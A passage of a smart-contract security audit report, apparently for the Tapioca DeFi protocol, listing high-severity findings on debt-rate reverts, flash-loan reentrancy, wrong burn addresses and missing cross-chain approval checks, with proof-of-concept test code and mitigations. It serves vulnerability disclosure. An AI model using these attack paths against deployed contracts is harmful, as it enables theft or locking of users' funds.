Now BigBang.getDebtRate() will always revert and the collateral from the first borrower is locked, because BigBang.getDebtRate() is used in BigBang._accrue(), and BigBang._accrue() is used in every function that involves totalBorrow like in BigBang.liquidate(), BigBang.repay().
The reason for the revert is that in BigBang.getDebtRate(), totalBorrow.elastic which gets assigned to the variable _currentDebt (line 186 BigBang.sol) will not be 0, and then on line 192 in the BigBang contract, the _currentDebt is smaller than debtStartPoint which causes the revert.
As a consequence the collateral is trapped as repay or liquidate requires to call accrue before hand.
Proof of Concept
The following gist contains a proof of concept to demonstrate this issue.
A non-ETH bigbang market (wbtc market) is deployed with Penrose::registerBigBang. Note that the debtStartPoint parameter in the init data is non-zero (set to be 1e18).
First we set up the primary eth market: Some weth is minted and deposited to the ETH market. Then some assets were borrowed against the collateral. This is necessary condition for this bug to happen, which is the ETH market to have some borrowed asset. However, this condition is very likely to be fulfilled, as the primary ETH market would be deployed before any non-eth market.
Now, an innocent user is adding collateral and borrows in the non-eth market (the wbtc market). The issue occurs when the user borrows less than the debtStartPoint. If the user should borrow less than the debtStartPoint, the BigBang::accrue will revert and the collateral is trapped in this Market.
https://gist.github.com/zzzitron/a6d6377b73130819f15f1e5a2e2a2ba9
The bug happens here in the line 192 in the BigBang.
179 /// @notice returns the current debt rate
180 function getDebtRate() public view returns (uint256) {
181 if (_isEthMarket) return penrose.bigBangEthDebtRate(); // default 0.5%
182 if (totalBorrow.elastic == 0) return minDebtRate;
183
184 uint256 _ethMarketTotalDebt = BigBang(penrose.bigBangEthMarket())
185 .getTotalDebt();
186 uint256 _currentDebt = totalBorrow.elastic;
187 uint256 _maxDebtPoint = (_ethMarketTotalDebt *
188 debtRateAgainstEthMarket) / 1e18;
189
190 if (_currentDebt >= _maxDebtPoint) return maxDebtRate;
191
192 uint256 debtPercentage = ((_currentDebt - debtStartPoint) *
193 DEBT_PRECISION) / (_maxDebtPoint - debtStartPoint);
194 uint256 debt = ((maxDebtRate - minDebtRate) * debtPercentage) /
195 DEBT_PRECISION +
196 minDebtRate;
197
Recommended Mitigation Steps
Consider adding a require statement to BigBang.borrow() to make sure that the borrow amount has to be >= debtStartPoint.
// BigBang
// borrow
247 require(amount >= debtStartPoint);
[H-32] Reentrancy in USDO.flashLoan(), enabling an attacker to borrow unlimited USDO exceeding the max borrow limit
Submitted by zzzitron, also found by RedOneN, unsafesol, GalloDaSballo, kodyvim, ayeslick, andy, and dirk_y
Due to an reentrancy attack vector, an attacker can flashLoan an unlimited amount of USDO. For example the attacker can create a malicious contract as the receiver, to execute the attack via the onFlashLoan callback (line 94 USDO.sol).
The exploit works because USDO.flashLoan() is missing a reentrancy protection (modifier).
As a result an unlimited amount of USDO can be borrowed by an attacker via the flashLoan exploit described above.
Proof of Concept
Here is a POC that shows an exploit:
https://gist.github.com/zzzitron/a121bc1ba8cc947d927d4629a90f7991
To run the exploit add this malicious contract into the contracts folder:
https://gist.github.com/zzzitron/8de3be7ddf674cc19a6272b59cfccde1
Recommended Mitigation Steps
Consider adding some reentrancy protection modifier to USDO.flashLoan().
0xRektora (Tapioca) confirmed, but disagreed with severity and commented:
Should be
Highseverity, could really harm the protocol.
LSDan (Judge) increased severity to High
[H-33] BaseTOFTLeverageModule.sol: leverageDownInternal tries to burn tokens from wrong address
Submitted by carrotsmuggler, also found by xuwinnie
The function sendForLeverage is used to interact with the USDO token on a different chain. Lets assume the origin of the tx is chain A, and the destination is chain B. The BaseTOFT contract sends a message through the lz endpoints to make a call in the destination chain.
The flow of control is as follows:
Chain A : user -call-> BaseTOFT.sol:sendForLeverage -delegateCall-> BaseTOFTLeverageModule.sol:sendForLeverage -call-> lzEndpointA
Chain B : lzEndpointB -call-> BaseTOFT.sol:_nonblockingLzReceive -delegateCall-> BaseTOFTLeverageModule.sol:leverageDown -delegateCall-> leverageDownInternal
For the last call to leverageDownInternal, the msg.sender is the lzEndpointB. This is because all the calls since then have been delegate calls, and thus msg.sender has not been able to change. We analyze the leverageDownInternal function in this context.
function leverageDownInternal(
uint256 amount,
IUSDOBase.ILeverageSwapData memory swapData,
IUSDOBase.ILeverageExternalContractsData memory externalData,
IUSDOBase.ILeverageLZData memory lzData,
address leverageFor
) public payable {
_unwrap(address(this), amount);
The very first operation is to do an unwrap of the mTapiocaOFT token. This is done by calling _unwrap defined in the same contract as shown.
function _unwrap(address _toAddress, uint256 _amount) private {
_burn(msg.sender, _amount);
if (erc20 == address(0)) {
_safeTransferETH(_toAddress, _amount);
} else {
IERC20(erc20).safeTransfer(_toAddress, _amount);
}
}
Here we see the contract is trying to burn tokens from the msg.sender address. But the issue is in this context, the msg.sender is the lzEndpoint on chain B who is doing the call, and they dont have any TOFT tokens there. Thus this call will revert.
The TOFT tokens are actually held within the same contract where the execution is happening. This is because in the leverageDown function, we see the contract credit itself with TOFT tokens.
if (!credited) {
_creditTo(_srcChainId, address(this), amount);
creditedPackets[_srcChainId][_srcAddress][_nonce] = true;
}
Thus the tokens are actually present in address(this) and not in msg.sender. Thus the burn should be done from address(this) and not msg.sender. Thus all cross chain calls for this function will fail and revert.
Since this leads to broken functionality, this is considered a high severity issue.
Proof of Concept
Since no test exists for the sendForLeverage function, no POC is provided. However the flow of control and detailed explanation is provided above.
Recommended Mitigation Steps
Run _burn(address(this),amount) to burn the tokens instead of unwrapping. Then do the eth/erc20 transfer from the contract.
0xRektora (Tapioca) confirmed via duplicate issue 725
[H-34] BaseTOFT.sol: retrieveFromStrategy can be used to manipulate other user’s positions due to absent approval check
Submitted by carrotsmuggler, also found by xuwinnie, peakbolt, and 0x73696d616f
The function retrieveFromStrategy is used to trigger a removal of TOFT tokens from a strategy on a different chain. The function takes the parameter from, which is the account whose tokens will be retrieved.
The main issue is that anyone can call this function with any address passed to the from parameter. There is no allowance check on the chain, allowing this operation. Let’s walk through the steps to see how this is executed.
BaseTOFT.sol:retrieveFromStrategy is called by the attacker with a from address of the victim. This function calls the retrieveFromStrategy function in the strategy module.
_executeModule(
Module.Strategy,
abi.encodeWithSelector(
BaseTOFTStrategyModule.retrieveFromStrategy.selector,
from,
amount,
share,
assetId,
lzDstChainId,
zroPaymentAddress,
airdropAdapterParam
),
false
);
BaseTOFTStrategyModule.sol:retrieveFromStrategy is called. This function packs some data and sends it forward to the lz endpoint. Point to note, is that no approval check is done for the msg.sender of this whole setup yet.
bytes memory lzPayload = abi.encode(
PT_YB_RETRIEVE_STRAT,
LzLib.addressToBytes32(_from),
toAddress,
amount,
share,
assetId,
zroPaymentAddress
);
// lzsend(...)
After the message is sent, the lzendpoint on the receiving chain will call the TOFT contract again. Now, the msg.sender is not the attacker, but is instead the lzendpoint! The endpoint call gets delegated to the strategyWithdraw function in the Strategy module.
(
,
bytes32 from,
,
uint256 _amount,
uint256 _share,
uint256 _assetId,
address _zroPaymentAddress
) = abi.decode(
_payload,
(uint16, bytes32, bytes32, uint256, uint256, uint256, address)
);
Here we see the unpacking. note that the second unpacked value is put in the from field. This is an address determined by the attacker and passed through the layerzero endpoints. The contract then calls _retrieveFromYieldBox to take out tokens from the Yieldbox. They are then sent cross chain back to the from address.
_retrieveFromYieldBox(_assetId, _amount, _share, _from, address(this));
_debitFrom(
address(this),
lzEndpoint.getChainId(),
LzLib.addressToBytes32(address(this)),
_amount
);
bytes memory lzSendBackPayload = _encodeSendPayload(
from,
_ld2sd(_amount)
);
_lzSend(
_srcChainId,
lzSendBackPayload,
payable(this),
_zroPaymentAddress,
"",
address(this).balance
);
Thus it is evident from this call that the YieldBox contract being called has no idea that the original sender was the attacker. Instead, for the YieldBox contract, the msg.sender is the current TOFT contract. If users want to use the cross chain operations, they have to give allowance to the TOFT address. Thus we can assume that the victim has already given allowance to this address. Thus the YieldBox thinks the msg.sender is the TOFT contract, who is allowed, and thus executes the operations.
Thus we have demonstrated that the attacker is able to call a function on the victim’s YieldBox position without being given any allowance by setting the victim’s address in the from field. Thus this is a high severity issue since the victim’s tokens are withdrawn and send to a different chain without their consent.
Proof of Concept
Two lines from the test in test/TapiocaOFT.test.ts is changed to show this issue. Below is the full test for reference. The changed bits are marked with arrows.
it.only("should be able to deposit & withdraw from a strategy available on another layer", async () => {
const {
signer,
erc20Mock,
mintAndApprove,
bigDummyAmount,
utils,
randomUser, //@audit <------------------------------------- take other user address
} = await loadFixture(setupFixture)
const LZEndpointMock_chainID_0 = await utils.deployLZEndpointMock(
31337
)
const LZEndpointMock_chainID_10 = await utils.deployLZEndpointMock(
10
)
const tapiocaWrapper_0 = await utils.deployTapiocaWrapper()
const tapiocaWrapper_10 = await utils.deployTapiocaWrapper()
//Deploy YB and Strategies
const yieldBox0Data = await deployYieldBox(signer)
const yieldBox10Data = await deployYieldBox(signer)
const YieldBox_0 = yieldBox0Data.yieldBox
const YieldBox_10 = yieldBox10Data.yieldBox
{
const txData =
await tapiocaWrapper_0.populateTransaction.createTOFT(
erc20Mock.address,
(
await utils.Tx_deployTapiocaOFT(
LZEndpointMock_chainID_0.address,
erc20Mock.address,
YieldBox_0.address,
31337,
signer
)
).txData,
ethers.utils.randomBytes(32),
false
)
txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
await signer.sendTransaction(txData)
}
const tapiocaOFT0 = (await utils.attachTapiocaOFT(
await tapiocaWrapper_0.tapiocaOFTs(
(await tapiocaWrapper_0.tapiocaOFTLength()).sub(1)
)
)) as TapiocaOFT
// Deploy TapiocaOFT10
{
const txData =
await tapiocaWrapper_10.populateTransaction.createTOFT(
erc20Mock.address,
(
await utils.Tx_deployTapiocaOFT(
LZEndpointMock_chainID_10.address,
erc20Mock.address,
YieldBox_10.address,
10,
signer
)
).txData,
ethers.utils.randomBytes(32),
false
)
txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
await signer.sendTransaction(txData)
}
const tapiocaOFT10 = (await utils.attachTapiocaOFT(
await tapiocaWrapper_10.tapiocaOFTs(
(await tapiocaWrapper_10.tapiocaOFTLength()).sub(1)
)
)) as TapiocaOFT
const strategy0Data = await deployToftMockStrategy(
signer,
YieldBox_0.address,
tapiocaOFT0.address
)
const strategy10Data = await deployToftMockStrategy(
signer,
YieldBox_10.address,
tapiocaOFT10.address
)
const Strategy_0 = strategy0Data.tOFTStrategyMock
const Strategy_10 = strategy10Data.tOFTStrategyMock
// Setup
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
// Set trusted remotes
const dstChainId0 = 31337
const dstChainId10 = 10
await tapiocaWrapper_0.executeTOFT(
tapiocaOFT0.address,
tapiocaOFT0.interface.encodeFunctionData("setTrustedRemote", [
dstChainId10,
ethers.utils.solidityPack(
["address", "address"],
[tapiocaOFT10.address, tapiocaOFT0.address]
),
]),
true
)
await tapiocaWrapper_10.executeTOFT(
tapiocaOFT10.address,
tapiocaOFT10.interface.encodeFunctionData("setTrustedRemote", [
dstChainId0,
ethers.utils.solidityPack(
["address", "address"],
[tapiocaOFT0.address, tapiocaOFT10.address]
),
]),
true
)
// Link endpoints with addresses
await LZEndpointMock_chainID_0.setDestLzEndpoint(
tapiocaOFT10.address,
LZEndpointMock_chainID_10.address
)
await LZEndpointMock_chainID_10.setDestLzEndpoint(
tapiocaOFT0.address,
LZEndpointMock_chainID_0.address
)
//Register tokens on YB
await YieldBox_0.registerAsset(
1,
tapiocaOFT0.address,
Strategy_0.address,
0
)
await YieldBox_10.registerAsset(
1,
tapiocaOFT10.address,
Strategy_10.address,
0
)
const tapiocaOFT0Id = await YieldBox_0.ids(
1,
tapiocaOFT0.address,
Strategy_0.address,
0
)
const tapiocaOFT10Id = await YieldBox_10.ids(
1,
tapiocaOFT10.address,
Strategy_10.address,
0
)
expect(tapiocaOFT0Id.eq(1)).to.be.true
expect(tapiocaOFT10Id.eq(1)).to.be.true
//Test deposits on same chain
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await tapiocaOFT0.approve(
YieldBox_0.address,
ethers.constants.MaxUint256
)
let toDepositShare = await YieldBox_0.toShare(
tapiocaOFT0Id,
bigDummyAmount,
false
)
await YieldBox_0.depositAsset(
tapiocaOFT0Id,
signer.address,
signer.address,
0,
toDepositShare
)
let yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
let vaultAmount = await Strategy_0.vaultAmount()
expect(yb0Balance.gt(bigDummyAmount)).to.be.true //bc of the yield
expect(vaultAmount.eq(bigDummyAmount)).to.be.true
//Test withdraw on same chain
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await tapiocaOFT0.transfer(
Strategy_0.address,
yb0Balance.sub(bigDummyAmount)
) //assures the strategy has enough tokens to withdraw
const signerBalanceBeforeWithdraw = await tapiocaOFT0.balanceOf(
signer.address
)
const toWithdrawShare = await YieldBox_0.balanceOf(
signer.address,
tapiocaOFT0Id
)
await YieldBox_0.withdraw(
tapiocaOFT0Id,
signer.address,
signer.address,
0,
toWithdrawShare
)
const signerBalanceAfterWithdraw = await tapiocaOFT0.balanceOf(
signer.address
)
expect(
signerBalanceAfterWithdraw
.sub(signerBalanceBeforeWithdraw)
.gt(bigDummyAmount)
).to.be.true
vaultAmount = await Strategy_0.vaultAmount()
expect(vaultAmount.eq(0)).to.be.true
yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
expect(vaultAmount.eq(0)).to.be.true
const latestBalance = await Strategy_0.currentBalance()
expect(latestBalance.eq(0)).to.be.true
toDepositShare = await YieldBox_0.toShare(
tapiocaOFT0Id,
bigDummyAmount,
false
)
const totals = await YieldBox_0.assetTotals(tapiocaOFT0Id)
expect(totals[0].eq(0)).to.be.true
expect(totals[1].eq(0)).to.be.true
//Cross chain deposit from TapiocaOFT_10 to Strategy_0
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await expect(
tapiocaOFT0.sendFrom(
signer.address,
10,
ethers.utils.defaultAbiCoder.encode(
["address"],
[signer.address]
),
bigDummyAmount,
{
refundAddress: signer.address,
zroPaymentAddress: ethers.constants.AddressZero,
adapterParams: "0x",
},
{
value: ethers.utils.parseEther("0.02"),
gasLimit: 2_000_000,
}
)
).to.not.be.reverted
const signerBalanceForTOFT10 = await tapiocaOFT10.balanceOf(
signer.address
)
expect(signerBalanceForTOFT10.eq(bigDummyAmount)).to.be.true
const asset = await YieldBox_0.assets(tapiocaOFT0Id)
expect(asset[2]).to.eq(Strategy_0.address)
await tapiocaOFT10.sendToStrategy(
signer.address,
signer.address,
bigDummyAmount,
toDepositShare,
1, //asset id
dstChainId0,
{
extraGasLimit: "2500000",
zroPaymentAddress: ethers.constants.AddressZero,
},
{
value: ethers.utils.parseEther("15"),
}
)
let strategy0Amount = await Strategy_0.vaultAmount()
expect(strategy0Amount.gt(0)).to.be.true
const yb0BalanceAfterCrossChainDeposit = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
expect(yb0BalanceAfterCrossChainDeposit.gt(bigDummyAmount))
const airdropAdapterParams = ethers.utils.solidityPack(
["uint16", "uint", "uint", "address"],
[2, 800000, ethers.utils.parseEther("2"), tapiocaOFT0.address]
)
await YieldBox_0.setApprovalForAsset(
tapiocaOFT0.address,
tapiocaOFT0Id,
true
) //this should be done through Magnetar in the same tx, to avoid frontrunning
yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
await tapiocaOFT0.transfer(
Strategy_0.address,
yb0Balance.sub(bigDummyAmount)
) //assures the strategy has enough tokens to withdraw
await hre.ethers.provider.send("hardhat_setBalance", [
randomUser.address,
ethers.utils.hexStripZeros(
ethers.utils.parseEther(String(20))._hex
),
]) //@audit <------------------------------------------- Fund user
await tapiocaOFT10
.connect(randomUser) //@audit <------------------------------------------- Call with other user instead of signer
.retrieveFromStrategy(
signer.address,
yb0BalanceAfterCrossChainDeposit,
toWithdrawShare,
1,
dstChainId0,
ethers.constants.AddressZero,
airdropAdapterParams,
{
value: ethers.utils.parseEther("10"),
}
)
strategy0Amount = await Strategy_0.vaultAmount()
expect(strategy0Amount.eq(0)).to.be.true
const signerBalanceAfterCrossChainWithdrawal =
await tapiocaOFT10.balanceOf(signer.address)
expect(signerBalanceAfterCrossChainWithdrawal.gt(bigDummyAmount)).to
.be.true
})
The only relevant change is that the function retrieveFromStrategy is called from another address. The test passes, showing that an attacker, in this case randomUser can influence the operations of the victim, the signer.
Recommended Mitigation Steps
Add an allowance check for the msg.sender in the strategyWithdraw function.
0xRektora (Tapioca) confirmed, but disagreed with severity and commented:
Should be medium. Although annoying, attacker can’t steal the user’s asset, and will have to pay gas without profit for both chains in order to do this trick. Should be grouped in #1037.
Same answer as https://github.com/code-423n4/2023-07-tapioca-findings/issues/1009.
[H-35] BaseTOFT.sol: removeCollateral can be used to manipulate other user’s positions and steal tokens due to absent approval check
Submitted by carrotsmuggler, also found by KIntern_NA
The function removeCollateral is used to trigger a removal of collateral on a different chain. The function takes the parameter from, which is the account whose collateral will be sold. It also takes the parameter to where these collateral tokens will be transferred to.
The main issue is that anyone can call this function with any address passed to the from parameter. There is no allowance check on the chain, allowing this operation. Let’s walk through the steps to see how this is executed. Lets assume both from and to are the victim’s address for reasons explained at the end.
BaseTOFT.sol:removeCollateral is called by the attacker with a from and to address of the victim. This function calls the removeCollateral function in the market module.
_executeModule(
Module.Market,
abi.encodeWithSelector(
BaseTOFTMarketModule.removeCollateral.selector,
from,
to,
lzDstChainId,
zroPaymentAddress,
withdrawParams,
removeParams,
approvals,
adapterParams
),
false
);
BaseTOFTMarketModule.sol:removeCollateral is called. This function packs some data and sends it forward to the lz endpoint. Point to note, is that no approval check is done for the msg.sender of this whole setup yet.
bytes memory lzPayload = abi.encode(
PT_MARKET_REMOVE_COLLATERAL,
from,
to,
toAddress,
removeParams,
withdrawParams,
approvals
);
// lzsend(...)
After the message is sent, the lzendpoint on the receiving chain will call the TOFT contract again. Now, the msg.sender is not the attacker, but is instead the lzendpoint! The endpoint call gets delegated to the remove function in the Market module.
(
,
,
address to,
,
ITapiocaOFT.IRemoveParams memory removeParams,
ICommonData.IWithdrawParams memory withdrawParams,
ICommonData.IApproval[] memory approvals
) = abi.decode(
_payload,
(
uint16,
address,
address,
bytes32,
ITapiocaOFT.IRemoveParams,
ICommonData.IWithdrawParams,
ICommonData.IApproval[]
)
);
Here we see the unpacking. note that the third unpacked value is put in the to field. This is an address determined by the attacker and passed through the layerzero endpoints. The contract then calls a market contract’s removeCollateral function.
IMarket(removeParams.market).removeCollateral(
to,
to,
removeParams.share
);
Thus it is evident from this call that the Market contract being called has no idea that the original sender was the attacker. Instead, for the Market contract, the msg.sender is the current TOFT contract. If users want to use the cross chain operations, they have to give allowance to the TOFT contract address. Thus we can assume that the victim has already given allowance to this address. Thus the market thinks the msg.sender is the TOFT contract, who is allowed, and thus executes the operations.
Thus we have demonstrated that the attacker is able to call a function on the victim’s market position without being given any allowance by setting the victim’s address in the to field. While it is a suspected bug that the removeCollateral removes collateral from the to field’s account and not the from field, since both these parameters are determined by the attacker, the bug exists either way. Thus this is a high severity issue since the victim’s collateral is withdrawn, dropping their health factor.
Proof of Concept
A POC isnt provided since the test suite does not have a test for the removeCollateral function. However the function retrieveFromStrategy suffers from the same issue and has been addressed in a different report. The test for that function can be used to demonstrate this issue.
Two lines from the test in test/TapiocaOFT.test.ts is changed to show this issue. Below is the full test for reference. The changed bits are marked with arrows.
it.only("should be able to deposit & withdraw from a strategy available on another layer", async () => {
const {
signer,
erc20Mock,
mintAndApprove,
bigDummyAmount,
utils,
randomUser, //@audit <------------------------------------- take other user address
} = await loadFixture(setupFixture)
const LZEndpointMock_chainID_0 = await utils.deployLZEndpointMock(
31337
)
const LZEndpointMock_chainID_10 = await utils.deployLZEndpointMock(
10
)
const tapiocaWrapper_0 = await utils.deployTapiocaWrapper()
const tapiocaWrapper_10 = await utils.deployTapiocaWrapper()
//Deploy YB and Strategies
const yieldBox0Data = await deployYieldBox(signer)
const yieldBox10Data = await deployYieldBox(signer)
const YieldBox_0 = yieldBox0Data.yieldBox
const YieldBox_10 = yieldBox10Data.yieldBox
{
const txData =
await tapiocaWrapper_0.populateTransaction.createTOFT(
erc20Mock.address,
(
await utils.Tx_deployTapiocaOFT(
LZEndpointMock_chainID_0.address,
erc20Mock.address,
YieldBox_0.address,
31337,
signer
)
).txData,
ethers.utils.randomBytes(32),
false
)
txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
await signer.sendTransaction(txData)
}
const tapiocaOFT0 = (await utils.attachTapiocaOFT(
await tapiocaWrapper_0.tapiocaOFTs(
(await tapiocaWrapper_0.tapiocaOFTLength()).sub(1)
)
)) as TapiocaOFT
// Deploy TapiocaOFT10
{
const txData =
await tapiocaWrapper_10.populateTransaction.createTOFT(
erc20Mock.address,
(
await utils.Tx_deployTapiocaOFT(
LZEndpointMock_chainID_10.address,
erc20Mock.address,
YieldBox_10.address,
10,
signer
)
).txData,
ethers.utils.randomBytes(32),
false
)
txData.gasLimit = await hre.ethers.provider.estimateGas(txData)
await signer.sendTransaction(txData)
}
const tapiocaOFT10 = (await utils.attachTapiocaOFT(
await tapiocaWrapper_10.tapiocaOFTs(
(await tapiocaWrapper_10.tapiocaOFTLength()).sub(1)
)
)) as TapiocaOFT
const strategy0Data = await deployToftMockStrategy(
signer,
YieldBox_0.address,
tapiocaOFT0.address
)
const strategy10Data = await deployToftMockStrategy(
signer,
YieldBox_10.address,
tapiocaOFT10.address
)
const Strategy_0 = strategy0Data.tOFTStrategyMock
const Strategy_10 = strategy10Data.tOFTStrategyMock
// Setup
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
// Set trusted remotes
const dstChainId0 = 31337
const dstChainId10 = 10
await tapiocaWrapper_0.executeTOFT(
tapiocaOFT0.address,
tapiocaOFT0.interface.encodeFunctionData("setTrustedRemote", [
dstChainId10,
ethers.utils.solidityPack(
["address", "address"],
[tapiocaOFT10.address, tapiocaOFT0.address]
),
]),
true
)
await tapiocaWrapper_10.executeTOFT(
tapiocaOFT10.address,
tapiocaOFT10.interface.encodeFunctionData("setTrustedRemote", [
dstChainId0,
ethers.utils.solidityPack(
["address", "address"],
[tapiocaOFT0.address, tapiocaOFT10.address]
),
]),
true
)
// Link endpoints with addresses
await LZEndpointMock_chainID_0.setDestLzEndpoint(
tapiocaOFT10.address,
LZEndpointMock_chainID_10.address
)
await LZEndpointMock_chainID_10.setDestLzEndpoint(
tapiocaOFT0.address,
LZEndpointMock_chainID_0.address
)
//Register tokens on YB
await YieldBox_0.registerAsset(
1,
tapiocaOFT0.address,
Strategy_0.address,
0
)
await YieldBox_10.registerAsset(
1,
tapiocaOFT10.address,
Strategy_10.address,
0
)
const tapiocaOFT0Id = await YieldBox_0.ids(
1,
tapiocaOFT0.address,
Strategy_0.address,
0
)
const tapiocaOFT10Id = await YieldBox_10.ids(
1,
tapiocaOFT10.address,
Strategy_10.address,
0
)
expect(tapiocaOFT0Id.eq(1)).to.be.true
expect(tapiocaOFT10Id.eq(1)).to.be.true
//Test deposits on same chain
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await tapiocaOFT0.approve(
YieldBox_0.address,
ethers.constants.MaxUint256
)
let toDepositShare = await YieldBox_0.toShare(
tapiocaOFT0Id,
bigDummyAmount,
false
)
await YieldBox_0.depositAsset(
tapiocaOFT0Id,
signer.address,
signer.address,
0,
toDepositShare
)
let yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
let vaultAmount = await Strategy_0.vaultAmount()
expect(yb0Balance.gt(bigDummyAmount)).to.be.true //bc of the yield
expect(vaultAmount.eq(bigDummyAmount)).to.be.true
//Test withdraw on same chain
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await tapiocaOFT0.transfer(
Strategy_0.address,
yb0Balance.sub(bigDummyAmount)
) //assures the strategy has enough tokens to withdraw
const signerBalanceBeforeWithdraw = await tapiocaOFT0.balanceOf(
signer.address
)
const toWithdrawShare = await YieldBox_0.balanceOf(
signer.address,
tapiocaOFT0Id
)
await YieldBox_0.withdraw(
tapiocaOFT0Id,
signer.address,
signer.address,
0,
toWithdrawShare
)
const signerBalanceAfterWithdraw = await tapiocaOFT0.balanceOf(
signer.address
)
expect(
signerBalanceAfterWithdraw
.sub(signerBalanceBeforeWithdraw)
.gt(bigDummyAmount)
).to.be.true
vaultAmount = await Strategy_0.vaultAmount()
expect(vaultAmount.eq(0)).to.be.true
yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
expect(vaultAmount.eq(0)).to.be.true
const latestBalance = await Strategy_0.currentBalance()
expect(latestBalance.eq(0)).to.be.true
toDepositShare = await YieldBox_0.toShare(
tapiocaOFT0Id,
bigDummyAmount,
false
)
const totals = await YieldBox_0.assetTotals(tapiocaOFT0Id)
expect(totals[0].eq(0)).to.be.true
expect(totals[1].eq(0)).to.be.true
//Cross chain deposit from TapiocaOFT_10 to Strategy_0
await mintAndApprove(erc20Mock, tapiocaOFT0, signer, bigDummyAmount)
await tapiocaOFT0.wrap(
signer.address,
signer.address,
bigDummyAmount
)
await expect(
tapiocaOFT0.sendFrom(
signer.address,
10,
ethers.utils.defaultAbiCoder.encode(
["address"],
[signer.address]
),
bigDummyAmount,
{
refundAddress: signer.address,
zroPaymentAddress: ethers.constants.AddressZero,
adapterParams: "0x",
},
{
value: ethers.utils.parseEther("0.02"),
gasLimit: 2_000_000,
}
)
).to.not.be.reverted
const signerBalanceForTOFT10 = await tapiocaOFT10.balanceOf(
signer.address
)
expect(signerBalanceForTOFT10.eq(bigDummyAmount)).to.be.true
const asset = await YieldBox_0.assets(tapiocaOFT0Id)
expect(asset[2]).to.eq(Strategy_0.address)
await tapiocaOFT10.sendToStrategy(
signer.address,
signer.address,
bigDummyAmount,
toDepositShare,
1, //asset id
dstChainId0,
{
extraGasLimit: "2500000",
zroPaymentAddress: ethers.constants.AddressZero,
},
{
value: ethers.utils.parseEther("15"),
}
)
let strategy0Amount = await Strategy_0.vaultAmount()
expect(strategy0Amount.gt(0)).to.be.true
const yb0BalanceAfterCrossChainDeposit = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
expect(yb0BalanceAfterCrossChainDeposit.gt(bigDummyAmount))
const airdropAdapterParams = ethers.utils.solidityPack(
["uint16", "uint", "uint", "address"],
[2, 800000, ethers.utils.parseEther("2"), tapiocaOFT0.address]
)
await YieldBox_0.setApprovalForAsset(
tapiocaOFT0.address,
tapiocaOFT0Id,
true
) //this should be done through Magnetar in the same tx, to avoid frontrunning
yb0Balance = await YieldBox_0.amountOf(
signer.address,
tapiocaOFT0Id
)
await tapiocaOFT0.transfer(
Strategy_0.address,
yb0Balance.sub(bigDummyAmount)
) //assures the strategy has enough tokens to withdraw
await hre.ethers.provider.send("hardhat_setBalance", [
randomUser.address,
ethers.utils.hexStripZeros(
ethers.utils.parseEther(String(20))._hex
),
]) //@audit <------------------------------------------- Fund user
await tapiocaOFT10
.connect(randomUser) //@audit <------------------------------------------- Call with other user instead of signer
.retrieveFromStrategy(
signer.address,
yb0BalanceAfterCrossChainDeposit,
toWithdrawShare,
1,
dstChainId0,
ethers.constants.AddressZero,
airdropAdapterParams,
{
value: ethers.utils.parseEther("10"),
}
)
strategy0Amount = await Strategy_0.vaultAmount()
expect(strategy0Amount.eq(0)).to.be.true
const signerBalanceAfterCrossChainWithdrawal =
await tapiocaOFT10.balanceOf(signer.address)
expect(signerBalanceAfterCrossChainWithdrawal.gt(bigDummyAmount)).to
.be.true
})
The only relevant change is that the function retrieveFromStrategy is called from another address. The test passes, showing that an attacker, in tthis case randomUser can influence the operations of the victim, the signer.
Recommended Mitigation Steps
Add an allowance check for the msg.sender in the removeCollateral function.
This attack can be summed up as “approvals are not checked when operating cross-chain.” There are several instances of this bug with varying levels of severity all reported by warden carrotsmuggler. Because they all use the same attack vector and all perform undesired/unrequested acts on behalf of other users, I have grouped them and rated this issue as high risk.
[H-36] twTAP.sol: Reward tokens stored in index 0 can be stolen
Submitted by carrotsmuggler, also found by KIntern_NA
The function claimAndSendRewards can be called to collect rewards accrued by the twTAP position. This function can only be called by the TapOFT.sol contract during a crosschain operation. Thus a user on chain A can call claimRewards and on chain B, the function _claimRewards will be called and a bunch of parameters will be passed in that message.
(
,
,
address to,
uint256 tokenID,
IERC20[] memory rewardTokens,
IRewardClaimSendFromParams[] memory rewardClaimSendParams
) = abi.decode(
_payload,
(
uint16,
address,
address,
uint256,
IERC20[],
IRewardClaimSendFromParams[]
)
);
All these parameters passed here comes from the original lz payload sent by the user from chain A. Of note is the array rewardTokens which is a user inputted value.
This function then calls the twtap.sol contract as shown below.
try twTap.claimAndSendRewards(tokenID, rewardTokens) {
In the twTAP contract, the function claimAndSendRewards eventually calls _claimRewardsOn, the functionality of which is shown below.
function _claimRewardsOn(
uint256 _tokenId,
address _to,
IERC20[] memory _rewardTokens
) internal {
uint256[] memory amounts = claimable(_tokenId);
unchecked {
uint256 len = _rewardTokens.length;
for (uint256 i = 0; i < len; ) {
uint256 claimableIndex = rewardTokenIndex[_rewardTokens[i]];
uint256 amount = amounts[i];
if (amount > 0) {
// Math is safe: `amount` calculated safely in `claimable()`
claimed[_tokenId][claimableIndex] += amount;
